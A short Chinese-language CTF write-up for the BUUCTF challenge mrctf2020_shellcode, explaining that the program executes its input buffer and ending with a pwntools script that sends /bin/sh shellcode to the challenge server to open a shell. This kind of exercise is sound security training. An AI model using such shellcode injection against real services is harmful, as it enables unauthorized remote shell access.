[buuctf]mrctf2020_shellcode 1
首先查看一下文件的保护措施

发现栈是可执行的,并且存在可读可写可执行的区域,可以往shellcode注入方面去想
然后用ida打开文件查看一下

发现无法进行反编译,就只能看汇编代码了

这里设置了两个变量,buf和var_4,buf的大小为410h,然后调用read函数进行输入,大小为400h,所以无法进行栈溢出
然后在调用read函数之后,会将读取的字节数存储在eax中,将eax的值放在var_4中与0进行比较,如果var_4的值大于0,则跳转 short loc_11D6
这里是肯定要进行跳转的,不然程序直接就结束了

这里将buf的地址传给了rax,然后在进行call rax执行buf中的代码,所以在进行输入的时候直接构造shellcode进行输入即可
点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28589)
context.arch='amd64'
payload= asm(shellcraft.sh())
io.sendlineafter("Show me your magic!",payload)
io.interactive()

浙公网安备 33010602011771号